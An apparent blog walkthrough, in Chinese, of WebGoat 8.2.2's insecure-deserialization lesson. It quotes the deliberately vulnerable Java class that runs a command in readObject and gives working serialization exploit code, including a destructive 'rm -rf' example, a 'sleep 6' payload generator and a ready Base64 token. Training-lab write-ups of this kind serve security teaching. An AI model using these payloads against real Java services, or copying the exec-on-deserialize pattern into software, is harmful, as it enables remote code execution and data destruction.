WebGoat8.2.2-A8不安全的反序列化

1、概念 使用反序列化在各编程语言中略有不同,如Java、PHP、Python、Ruby、C/C++,但在关键概念上是一样的 序列化:将(内存中的)对象转化成数据格式,以便存储或传输 反序列化:上述的反过程,从某种格式的数据中构建对象 如今最受欢迎的序列化数据格式是JSON,在这之前是XML,只有数据是序列化的,而代码本身不是 2、Native Serialization-本地序列化/客制序列化 一些编程语言提供了自己的序列化功能,所使用的数据格式比一般的JSON或XML拥有更多的特性和功能,甚至可以自行指定序列化的过程。序列化/反序列化的过程以及这些特性可能会被攻击者恶意利用,从而达到DOS攻击、越权攻击以及RCE-远程代码执行等效果 3、最简单的例子

InputStream is = request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(is); AcmeObject acme = (AcmeObject)ois.readObject();
期望获取一个AcmeObject,但在强制类型转换之前调用了readObject()方法,攻击者要做的就是找到一个合适的类,来在调用readObject()时执行危险操作。攻击者可以序列化该对象,并使程序强制执行恶意操作。这个合适的类在类路径(ClassPath)中找(因为仅能使用已包含的包的关系?)
package org.dummy.insecure.framework; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.ObjectInputStream; import java.io.Serializable; import java.time.LocalDateTime; public class VulnerableTaskHolder implements Serializable { private static final long serialVersionUID = 1; private String taskName; private String taskAction; private LocalDateTime requestedExecutionTime; public VulnerableTaskHolder(String taskName, String taskAction) { super(); this.taskName = taskName; this.taskAction = taskAction; this.requestedExecutionTime = LocalDateTime.now(); } private void readObject( ObjectInputStream stream ) throws Exception { //deserialize data so taskName and taskAction are available stream.defaultReadObject(); //blindly run some code. #code injection Runtime.getRuntime().exec(taskAction); } }


针对上面的Java类,攻击者可以序列化一个恶意对象并形成RCE,Exploit如下:
VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile"); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(go); oos.flush(); byte[] exploit = bos.toByteArray();


4、Gadgets Chain 程序在自己执行反序列化时,执行危险操作的类(这里称之为gadget)是很少见的。但是找到一个在反序列化时会作用到其他gadget的gadget却很常见。并通常会带来更多的作用效果,一个作用到下一个,直到真正的危险操作被执行。这一串类,我们称之为Gadgets Chain,寻找gadget来构筑可利用的gadgets chain是安全研究人员的一个热门话题。这通常需要大量的时间去阅读代码。 5、题目,利用反序列化漏洞执行延迟五秒的操作 8.2.2版本,审计以下关键代码,以及多次尝试、debug调试后,发现此题答案需要满足以下几个条件:
public class InsecureDeserializationTask extends AssignmentEndpoint {

@PostMapping("/InsecureDeserialization/task")
@ResponseBody
public AttackResult completed(@RequestParam String token) throws IOException {
String b64token;
long before;
long after;
int delay;

b64token = token.replace('-', '+').replace('_', '/');

try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
before = System.currentTimeMillis();
Object o = ois.readObject();
if (!(o instanceof VulnerableTaskHolder)) {//必须是VulnerableTaskHolder得实例,所以包名也得一致
if (o instanceof String) {
return failed(this).feedback("insecure-deserialization.stringobject").build();
}
return failed(this).feedback("insecure-deserialization.wrongobject").build();
}
after = System.currentTimeMillis();
} catch (InvalidClassException e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
} catch (IllegalArgumentException e) {//有时效性,如果不满足时效会报错,经尝试验证,生成requestedExecutionTime时减去4/5分钟可行

return failed(this).feedback("insecure-deserialization.expired").build();
} catch (Exception e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
}
//检查延时时间是否满足延时5秒
delay = (int) (after - before);
if (delay > 7000) {
return failed(this).build();
}
if (delay < 3000) {
return failed(this).build();
}
return success(this).build();
}
}

VulnerableTaskHolder的readObject函数
/**
* Execute a task when de-serializing a saved or received object.
* @author stupid develop
*/
private void readObject( ObjectInputStream stream ) throws Exception {
//unserialize data so taskName and taskAction are available
stream.defaultReadObject();

//do something with the data
log.info("restoring task: {}", taskName);
log.info("restoring time: {}", requestedExecutionTime);

// 有时间戳检查,并且在当前时间之前10分钟以内
if (requestedExecutionTime!=null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
//do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
}

//condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}

}

1 )、创建的对象必须是VulnerableTaskHolder类的实例,包名得一致; 2)、创建的序列化对象,时间戳必须在当前时间的前十分钟以内,否则会报 The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let's try again 错误。所以VulnerableTaskHolder类中的构造方法得减去一定得时间,比如4分钟
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now().minusMinutes(4); //获得当前时间并减去4分钟
}

WebGoat8.2.2-A8不安全的反序列化
文章图片
WebGoat8.2.2-A8不安全的反序列化
文章图片

附件https://github.com/pofabs/p5Security/blob/main/SerialTestWeb.zip 提供了一个java序列化测试的demo,可以下载下来后在idea中执行。需要配置本地maven仓库,自行百度即可

如果偷懒,可以直接在IDEA中部署WebGoat源代码( 网上一般都有教程),然后按照以下步骤去执行 5.1、在VulnerableTaskHolder同级目录下创建一个SerialMain.java
代码如下

package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;


public class SerialMain {

static public void main(String[] args){
try{
VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
String exp = Base64.getEncoder().encodeToString(exploit);
System.out.println(exp);
} catch (Exception e){

}
}
}


5.2、参照2)修改VulnerableTaskHolder中的 this.requestedExecutionTime = LocalDateTime.now().minusMinutes(4); 编译运行SerialMain得到token: rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAflCx4SGSwFVz+geHQAB3NsZWVwIDZ0AAVzbGVlcA==
WebGoat8.2.2-A8不安全的反序列化
文章图片
WebGoat8.2.2-A8不安全的反序列化
文章图片
WebGoat8.2.2-A8不安全的反序列化
文章图片
【WebGoat8.2.2-A8不安全的反序列化】WebGoat8.2.2-A8不安全的反序列化
文章图片


5.3、恢复5.2中的代码为 this.requestedExecutionTime = LocalDateTime.now(),重新部署webgoat,然后访问题目输入token,成功 WebGoat8.2.2-A8不安全的反序列化
文章图片
WebGoat8.2.2-A8不安全的反序列化
文章图片

    推荐阅读